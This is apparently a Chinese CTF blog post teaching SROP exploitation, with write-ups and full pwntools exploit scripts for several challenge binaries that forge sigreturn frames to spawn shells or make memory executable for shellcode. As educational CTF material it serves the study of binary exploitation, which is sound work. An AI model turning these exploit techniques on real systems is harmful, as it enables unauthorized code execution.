感觉到难大概是因为还没学会罢,愿在掌握之后再回头看能看到不一样的风景。
SROP(Sigreturn Oriented Programming)
理解
网上很多大佬原理写的很好了,我这里就写点自己想法。
首先了解一下,signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。
你不懂没关系(我也不懂 ),简单来说你发送 signal 的时候,会先把你的寄存器和 signal 信息存到你的用户栈里,然后跳到内核态去处理 signal,内核返回用户态执行信号处理之前,会设置信号处理函数的返回地址(x30)指向[vdso]中的 __kernel_rt_sigreturn 函数,来从栈中恢复取出之前所存的信息(无检验 )。
那么我们试想一下,如果存在一个栈溢出漏洞。我们自己写一系列精心构造的数据,伪装成我们的寄存器和 signal 信息,然后先把返回地址覆盖成 Sigreturn ,后面紧跟着我们自己构造好的寄存器和 signal 信息,相当于我们恶意利用了这个恢复机制,于是我们可以控制 rip rsp 在内的所有寄存器,那么自然就可以控制程序执行了。
进一步,如果知道 /bin/sh
的地址,存在 syscall ,那么我们直接如下构造就可以 getshell 。
但一般程序是不会直接给你 /bin/sh
的,你需要自己通过 read 往某个地址写。这就需要构造 SROP 链(关键gadget:syscall;ret
),具体的我们下面看几个题。
利用前提
大概是:
syscall,signal 没 syscall 👦 玩毛 。
足够大的溢出空间,要能放得下伪造的 Frame。
好用的 gadget (非必要,详见 smallest
),比如 pop rax 之类的,就算没有 Sigreturn ,x64 下把 rax 调到 15 后执行 syscall 是一样的效果。
一般思路是想办法搞到 /bin/sh
的位置(没有就写一个)后利用 SROP 执行 execve ,其他的我不好说,直接看题吧。
例题
额,大概是从易到难吧。后面要是追加就不算了。
FUNSIGNALS(白给的 Sigreturn)
分析
丢到 IDA 里面去,单纯的 SROP 题目都是比较简洁的。
首先要看懂这个程序:
mov dh, 4
的意思在这里是 RDX = 0x400
,不清楚的话可以去 gdb 下断点后按 r 再跑一遍自己验证。`
开头到第一个 syscall 意思就是在 rsp 的地方读入 0x400 的数据。
题目贴心的是,后面的 push 0xF pop rax syscall
,相当于直接调用了 Sigreturn 了(RAX = 15)。后面的 int 3
你不用管它,我们 Sigreturn 的是自己构造的 Frame ,把 rsp 和 rip 🐑 了就没它的事了。
我们要干的事也很简单,简单的构造一个恶意 Frame ,用 write 去泄露这个 flag 。直接调用 pwntools 构造。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from LibcSearcher import *se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format (addr)) def debug (cmd='' ): gdb.attach(p,cmd) p = process('./FUNSIGNALS' ) elf = ELF('./FUNSIGNALS' ) context(arch = elf.arch, os = 'linux' ,log_level = 'debug' ,terminal = ['tmux' , 'splitw' , '-h' ]) frame=SigreturnFrame() frame.rax = constants.SYS_write frame.rdi = constants.STDOUT_FILENO frame.rsi = elf.sym['flag' ] frame.rdx = 100 frame.rip = elf.sym['syscall' ] p.sendline(str (frame)) p.interactive()
rootersctf_2019_srop(pop rax 构造的 Sigreturn)
分析
程序逻辑也很简单:先输出 data 段 buf 内的信息,往 rsp-0x40
处写入 0x400
的数据。
这题没有白给的 Sigreturn ,但是有个很好用的 gadget pop rax syscall
。
基本思路是:第一次伪造 Frame 在已知地址处写入 /bin/sh
,第二次伪造 Frame 进行一个 /bin/sh
的 execve
。
首先, 栈溢出覆盖 rip 为 pop rax;syscall;leave;retn
这个 gadget,后面紧跟 Sigreturn 调用号 15 和 第一个伪造的 Frame。
有必要说明一下 Frame 具体的构造:
1 2 3 4 5 6 7 8 fuck = SigreturnFrame() fuck.rax = 0 fuck.rdi = 0 fuck.rsi = 0x402500 fuck.rdx = 0x400 fuck.rip = syscall_ret fuck.rsp = 0x402500 fuck.rbp = 0x402500
那么我们预期中的程序流程是这样的:
Sigreturn 恢复恶意 Frame 到寄存器 ,紧接着执行的是 Frame 中的 rip 也就是 syscall;leave;ret
,那么 syscall
就会先在 0x402500
处读入 0x400
的数据(ROP链++)。
leave;ret
意思是 mov rsp,rbp;pop rbp;pop rip
,mov rsp,rbp
因为我们构造的是一样的地址所以没影响,pop rbp
会把我们 ROP 链的前八个字节给 🐑 了。所以我们要在 ROP 链上先填充 8 字节的垃圾 rbp 地址,那么 pop rip
时就会执行我们的 ROP 链。(是不是感觉有点栈迁移那味👦 )
ROP 链我们明显要用来伪造第二个 Frame,我们在 0x402500
写入 ROP 链同时我们顺带写上 /bin/sh\0
,具体的直接看 Exp 。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import reimport osfrom pwn import *from LibcSearcher import *se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format (addr)) def debug (breakpoint ='' ): glibc_dir = '~/Exps/Glibc/glibc-2.27/' gdbscript = 'directory %smalloc/\n' % glibc_dir gdbscript += 'directory %sstdio-common/\n' % glibc_dir gdbscript += 'directory %sstdlib/\n' % glibc_dir gdbscript += 'directory %slibio/\n' % glibc_dir elf_base = int (os.popen('pmap {}| awk \x27{{print \x241}}\x27' .format (p.pid)).readlines()[1 ], 16 ) if elf.pie else 0 gdbscript += 'b *{:#x}\n' .format (int (breakpoint ) + elf_base) if isinstance (breakpoint , int ) else breakpoint gdb.attach(p, gdbscript) time.sleep(1 ) elf = ELF('./rootersctf_2019_srop' ) context(arch = elf.arch, os = 'linux' ,log_level = 'debug' ,terminal = ['tmux' , 'splitw' , '-h' ]) p = process('./rootersctf_2019_srop' ) debug() ''' .text:0000000000401032 pop rax .text:0000000000401033 syscall ; LINUX - sys_read .text:0000000000401035 leave .text:0000000000401036 retn ''' rax_syscall_leave_ret = 0x401032 syscall_ret = 0x401033 fuck = SigreturnFrame() fuck.rax = 0 fuck.rdi = 0 fuck.rsi = 0x402500 fuck.rdx = 0x400 fuck.rip = syscall_ret fuck.rsp = 0x402500 fuck.rbp = 0x402500 payload=flat( ['A' *0x80 ,0xdeadbeef ,rax_syscall_leave_ret,15 ,fuck] ) sl(payload) wsnd = SigreturnFrame() wsnd.rax = 59 wsnd.rdi = 0x402500 + 0x200 wsnd.rsi = 0 wsnd.rdx = 0 wsnd.rip = syscall_ret wsnd.rsp = 0xdeadbeef wsnd.rbp = 0xdeadbeef sl((p64(0xdeadbeef )+p64(rax_syscall_leave_ret)+p64(15 )+str (wsnd)).ljust(0x200 ,'\0' )+'/bin/sh\0' ) p.interactive()
smallest(通过 read 字节数构造的 Sigreturn)
分析
程序越来越短,gaget 越来越少 QWQ。这个相当直接,在 rsp 写处写 0x400
的数据,剩下的爱咋咋地。
并且这题在运行时并没有一个较为固定的可读可写地址,需要 leak 栈地址。
关键点:x64 调用约定中说明了函数调用的返回值是存在 rax 里面的,而 SYS_read
返回值是读取的字节个数。
1 2 3 4 5 6 +───────+───────+──────────────+──────────────────+ | %rax | Name | Entry point | Implementation | +───────+───────+──────────────+──────────────────+ | 0 | read | sys_read | fs/read_write.c | | 1 | write | sys_write | fs/read_write.c | +───────+───────+──────────────+──────────────────+
而我们发现 write 的调用号是 1 ,意思是我们在读入一个字节的情况下跳过 xor rax,rax
这一步就会 write 出 rsp。
第一次执行先 read 塞入三个 vuln_addr = 0x4000B0
,控制程序流程,每一次 ret 都执行一次 vuln。
第二次执行仅 read 塞入一个字节,部分覆盖掉返回地址为 NOxor_vuln = 0x4000B3
。
第三次执行,由于 write 不受 \x00
截断影响,到 syscall 时就会从 rsp 指针处开始 leak 出此时的栈信息(注意不是 rsp 指针地址,但是会输出很多栈内的地址)。
第四次执行,read 塞入 vuln_addr
以及 Frame。
第五次执行,read 塞入 syscall;ret
地址以及 Frame 前 7 个字节(凑齐 RAX = 15
)。
到这就和上题差不多了,第一个 Frame 读入 ROP 链,第二个 Frame 执行 /bin/sh\0
。不过 ROP 构造还是要先读入一次,后续凑满 15 字节这样利用。熟悉流程后难度不大。
Exp(execve)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 import reimport osfrom pwn import *from LibcSearcher import *se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format (addr)) def debug (breakpoint ='' ): glibc_dir = '~/Exps/Glibc/glibc-2.27/' gdbscript = 'directory %smalloc/\n' % glibc_dir gdbscript += 'directory %sstdio-common/\n' % glibc_dir gdbscript += 'directory %sstdlib/\n' % glibc_dir gdbscript += 'directory %slibio/\n' % glibc_dir elf_base = int (os.popen('pmap {}| awk \x27{{print \x241}}\x27' .format (p.pid)).readlines()[1 ], 16 ) if elf.pie else 0 gdbscript += 'b *{:#x}\n' .format (int (breakpoint ) + elf_base) if isinstance (breakpoint , int ) else breakpoint gdb.attach(p, gdbscript) time.sleep(1 ) elf = ELF('./smallest' ) context(arch = elf.arch, os = 'linux' ,log_level = 'debug' ,terminal = ['tmux' , 'splitw' , '-h' ]) p = process('./smallest' ) ''' .text:00000000004000B0 xor rax, rax .text:00000000004000B3 mov edx, 400h ; count .text:00000000004000B8 mov rsi, rsp ; buf .text:00000000004000BB mov rdi, rax ; fd .text:00000000004000BE syscall ; LINUX - sys_read .text:00000000004000C0 retn ''' vuln_addr = 0x4000B0 NOxor_vuln = 0x4000B3 syscall_ret = 0x4000BE fuck = SigreturnFrame() fuck.rax = 0 fuck.rdi = 0 payload=flat( [vuln_addr,vuln_addr,vuln_addr] ) se(payload) se('\xB3' ) rc(8 ) stack_addr = uu64(rc(8 )) stack_addr = stack_addr>>4 stack_addr = stack_addr<<4 info_addr('stack' ,stack_addr) fuck = SigreturnFrame() fuck.rax = 0 fuck.rdi = 0 fuck.rsi = stack_addr fuck.rdx = 0x400 fuck.rsp = stack_addr fuck.rip = syscall_ret payload=flat( [vuln_addr,0 ,fuck] ) se(payload) se(p64(NOxor_vuln)+str (fuck)[:7 ]) wsnd = SigreturnFrame() wsnd.rax = 59 wsnd.rdi = stack_addr + 0x200 wsnd.rsi = 0 wsnd.rdx = 0 wsnd.rsp = stack_addr wsnd.rip = syscall_ret payload=(p64(vuln_addr)+p64(0 )+str (wsnd)).ljust(0x200 ,'\0' )+'/bin/sh\0' se(payload) se(p64(NOxor_vuln)+str (wsnd)[:7 ]) p.interactive()
Exp(orw)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import reimport osfrom pwn import *from LibcSearcher import *se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format (addr)) def debug (breakpoint ='' ): glibc_dir = '~/Exps/Glibc/glibc-2.27/' gdbscript = 'directory %smalloc/\n' % glibc_dir gdbscript += 'directory %sstdio-common/\n' % glibc_dir gdbscript += 'directory %sstdlib/\n' % glibc_dir gdbscript += 'directory %slibio/\n' % glibc_dir elf_base = int (os.popen('pmap {}| awk \x27{{print \x241}}\x27' .format (p.pid)).readlines()[1 ], 16 ) if elf.pie else 0 gdbscript += 'b *{:#x}\n' .format (int (breakpoint ) + elf_base) if isinstance (breakpoint , int ) else breakpoint gdb.attach(p, gdbscript) time.sleep(1 ) elf = ELF('./smallest' ) context(arch = elf.arch, os = 'linux' ,log_level = 'debug' ,terminal = ['tmux' , 'splitw' , '-h' ]) p = remote('node4.buuoj.cn' ,26278 ) ''' .text:00000000004000B0 xor rax, rax .text:00000000004000B3 mov edx, 400h ; count .text:00000000004000B8 mov rsi, rsp ; buf .text:00000000004000BB mov rdi, rax ; fd .text:00000000004000BE syscall ; LINUX - sys_read .text:00000000004000C0 retn ''' vuln_addr = 0x4000B0 NOxor_vuln = 0x4000B3 syscall_ret = 0x4000BE fuck = SigreturnFrame() fuck.rax = 0 fuck.rdi = 0 payload=flat( [vuln_addr,vuln_addr,vuln_addr] ) se(payload) se('\xB3' ) rc(8 ) stack_addr = uu64(rc(8 )) stack_addr = stack_addr>>4 stack_addr = stack_addr<<4 info_addr('stack' ,stack_addr) fuck = SigreturnFrame() fuck.rax = 0 fuck.rdi = 0 fuck.rsi = stack_addr fuck.rdx = 0x400 fuck.rsp = stack_addr fuck.rip = syscall_ret payload=flat( [vuln_addr,0 ,fuck] ) se(payload) se(p64(NOxor_vuln)+str (fuck)[:7 ]) wsnd = SigreturnFrame() wsnd.rax = 10 wsnd.rdi = (stack_addr>>12 )<<12 wsnd.rsi = 0x1000 wsnd.rdx = 7 wsnd.rsp = stack_addr wsnd.rip = syscall_ret payload=(p64(vuln_addr)+p64(0 )+str (wsnd)).ljust(0x200 ,'\0' )+str (asm(shellcraft.cat('/flag' ))) se(payload) se(p64(NOxor_vuln)+str (wsnd)[:7 ]) se(p64(stack_addr+0x200 )) p.interactive()
变量名是不是很帅,没啥用,就本地打通, 💨 远程一个都打不通,run 了 run 了。
2022/5/4 0:18 补充 :SROP 在没地方落脚(指写 rsp 或者 rip 的时候),一定记得 vmmap 之后 x/100xg
查看一下代码段有无 text 段指针可以当跳板。
HTB - sick_rop(扬 text 段)
由于网络原因远程没打通,罢 🐦 。主要是利用代码段残留的指针,这里可以写俩次 SROP 执行 /bin/sh\0
getshell。
但是写 mprotect
其实真的只用写一次然后改 rip 就行了。因为没有其他的地址可以落脚,直接把整个代码段扬成 rwx
就好了 QwQ。非常滴狂野快乐 crazy 不讲道理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import reimport osfrom pwn import *from LibcSearcher import *se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) info_addr = lambda tag, addr :p.info(tag + ': {:#x}' .format (addr)) def debug (breakpoint ='' ): glibc_dir = '~/Exps/Glibc/glibc-2.27/' gdbscript = 'directory %smalloc/\n' % glibc_dir gdbscript += 'directory %sstdio-common/\n' % glibc_dir gdbscript += 'directory %sstdlib/\n' % glibc_dir gdbscript += 'directory %slibio/\n' % glibc_dir elf_base = int (os.popen('pmap {}| awk \x27{{print \x241}}\x27' .format (p.pid)).readlines()[1 ], 16 ) if elf.pie else 0 gdbscript += 'b *{:#x}\n' .format (int (breakpoint ) + elf_base) if isinstance (breakpoint , int ) else breakpoint gdb.attach(p, gdbscript) time.sleep(1 ) elf = ELF('./sick_rop' ) context(arch = elf.arch, os = 'linux' ,log_level = 'debug' ,terminal = ['tmux' , 'splitw' , '-h' ]) p = process('./sick_rop' ) debug() vul = 0x40102E syscall_ret = 0x40102B fuck = SigreturnFrame() fuck.rax = 10 fuck.rdi = 0x401000 fuck.rsi = 0x2000 fuck.rdx = 7 fuck.rsp = 0x4010d8 fuck.rip = syscall_ret payload=flat( ['A' *0x20 ,0xdeadbeef ,vul,syscall_ret,fuck] ) sl(payload) pause() se('A' *15 ) payload=flat( ['wsnd\0' .ljust(0x28 ,'\0' ),vul,0x4010f0 ,asm(shellcraft.sh())] ) pause() se(payload) p.interactive()
Ret2dlresolve
学不会,成消愁了,以后补上吧(但愿)。run 了 run 了。